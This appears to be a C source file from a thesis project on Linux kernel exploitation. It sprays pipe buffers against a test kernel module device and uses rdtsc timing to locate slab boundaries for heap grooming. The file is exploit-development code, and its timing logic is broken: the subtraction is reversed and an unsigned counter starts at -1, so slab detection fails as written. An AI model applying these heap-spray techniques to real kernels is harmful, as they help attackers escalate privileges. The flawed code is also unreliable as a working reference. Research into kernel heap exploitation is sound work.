thesis/code/leak.c
2025-04-25 09:29:36 +02:00

116 lines
2.3 KiB
C

#define _GNU_SOURCE
#include <sys/socket.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define LKM_DEVICE "/dev/lkm"
// where does this come from?
#define OBJS_PER_SLAB 42
#define SPRAY (OBJS_PER_SLAB * 100)
#define PIPES (OBJS_PER_SLAB * 10)
int spray[SPRAY][2];
int pipes[PIPES][2];
char buffer[0x100];
extern inline size_t
rdtsc_begin(void)
{
size_t a, d;
asm volatile("mfence");
asm volatile("rdtsc" : "=a"(a), "=d"(d));
a = (d << 32) | a;
asm volatile("lfence");
return a;
}
extern inline size_t
rdtsc_end(void)
{
size_t a, d;
asm volatile("lfence");
asm volatile("rdtsc" : "=a"(a), "=d"(d));
a = (d << 32) | a;
asm volatile("mfence");
return a;
}
int
main(void)
{
printf("main: start\n");
FILE *device = fopen(LKM_DEVICE, "r+");
printf("main: spray to reduce TLB noise part 1: %u objects\n", SPRAY);
for (size_t i = 0; i < SPRAY; i++) {
int ret;
ret = pipe2(spray[i], O_NONBLOCK);
if (ret < 0) {
printf("main: error: object %lu pipe2: %i\n", i, errno);
exit(-1);
}
ret = fcntl(spray[i][0], F_SETPIPE_SZ, 8192);
if (ret < 0) {
printf("main: error: fcntl: object %lu\n", i);
exit(-1);
}
ret = write(spray[i][1], buffer, 8);
if (ret < 0) {
printf("main: error: write: object %lu\n", i);
exit(-1);
}
}
// May need socket and two parts instead
printf("main: fopen: %p\n", device);
if (!device) {
printf(
"main: fopen: Error opening %s. Make sure the kernel module is loaded\n",
LKM_DEVICE);
exit(1);
}
printf("main: spray to reduce TLB noise part 2: %u objects\n", SPRAY);
size_t t_delta;
size_t t_prev = -1;
size_t last_slab = -1;
for (size_t i = 0; i < SPRAY; i++) {
pipe2(spray[i], O_NONBLOCK);
size_t t0 = rdtsc_begin();
fcntl(spray[i][0], F_SETPIPE_SZ, 8192);
size_t t1 = rdtsc_end();
write(spray[i][1], buffer, 8);
t_delta = t0 - t1;
if (t_delta > (t_prev + 1000)) {
if (last_slab == (size_t)-1) {
last_slab = i;
} else if (i - last_slab == OBJS_PER_SLAB) {
break;
} else {
last_slab = -1;
}
}
t_prev = t_delta;
}
for (size_t i = 0; i < PIPES; i++) {
// Pipe buffer allocation primitive
pipe2(pipes[i], O_NONBLOCK);
fcntl(pipes[i][0], F_SETPIPE_SZ, 8192);
write(pipes[i][1], buffer, 8);
}
fclose(device);
printf("main: done\n");
}